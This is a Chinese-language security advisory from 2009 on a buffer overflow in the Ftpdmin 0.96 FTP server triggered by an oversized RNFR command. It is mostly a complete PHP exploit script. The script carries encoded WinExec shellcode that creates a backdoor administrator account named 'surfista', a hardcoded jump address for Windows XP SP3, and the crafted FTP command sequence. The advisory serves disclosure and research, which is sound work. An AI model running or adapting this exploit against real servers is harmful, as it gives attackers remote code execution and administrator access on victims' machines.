发布日期：2009-04-11
更新日期：2009-04-13

受影响系统：

Matthias Wandel FTPDMIN 0.96

描述：

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BUGTRAQ  ID: 34479

Ftpdmin是一款Windows平台下的小型FTP服务器。

如果远程攻击者向Ftpdmin服务器提交了带有恶意路径名参数的RNFR（Rename From）命令的话，就可以触发缓冲区溢出，导致执行任意代码。

<*来源：surfista
  
  链接：http://marc.info/?l=bugtraq&m=123947769921343&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

error_reporting(7);
$ftp_server = "192.168.0.1";
$ftp_user   = "anonymous";
$ftp_pass   = "anon@email.com";

function ftp_cmd($cmd){
    global $conn_id;
    echo "-> ".$cmd."\n";
    $buff=ftp_raw($conn_id,$cmd);
}

                #WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds
                #a "surfista" admin user with pass "pass"
                #contains hardcoded address, re-encode command:
                #alpha2 esp < shdmp.txt
                $____scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI".
                           "Xkb3SkfQkpBp4qo0nhBcaZPSMknMq3mValkOYCtqYPYxxhKO9okOe3BMrD5pTocS5".
                           "prnReqDWPCev32e1BWPt3sEQbRFE9T3PtqqWPRPSQPsBSUpTosqctRdWPGVa6epPN".
                           "w5F4EpRlRossG1PLw7brpOrupP5paQ1tPmaypnSYbSPtd2Pa44BOT2T3UpfOw1qTw".
                           "4gPqcpupr3VQybSrTE1kOA";      
                #do not touch, esp adjustment and subsequent call esp, very large but we have lots of unused space
                $____code ="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI".
                           "NcXl1oK3JLsOOs8lSOMSXlQoK3zL14KOm4F22EbSrOpusBSSsUGPpipdUpesVVA";
                if (strlen($____scode) > 272) {die("[!] shellcode too large!");}
                $conn_id = ftp_connect($ftp_server) or die("(!) Unable to connect to $ftp_server");
                if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
                    echo "(*) Connected as $ftp_user@$ftp_server\n";
                } else {
                    die("(!) Unable to connect as $ftp_user\n");
                }
                $____jnk = str_repeat("\x66",272 - strlen($____scode));
                $____eip="\x44\x3a\x41\x7e";     //0x7E413A44      jmp esp, user32.dll xp sp3
                $____jnk_ii = str_repeat("\x66",119 - strlen($____code));
                $____bof=$____scode.$____jnk.$____eip.$____code.$____jnk_ii;
                $____boom="RNFR ".str_repeat("x",0x0096);
                ftp_cmd($____boom);
                $____boom="RNFR ".$____bof;
                ftp_cmd($____boom);
                $____boom="RNFR ".str_repeat("x",0x0208);
                ftp_cmd($____boom);
                ftp_close($conn_id);
                echo "(*) Done !\n";
?>

建议：

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厂商补丁：

Matthias Wandel
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sentex.net/~mwandel/ftpdmin/index.html

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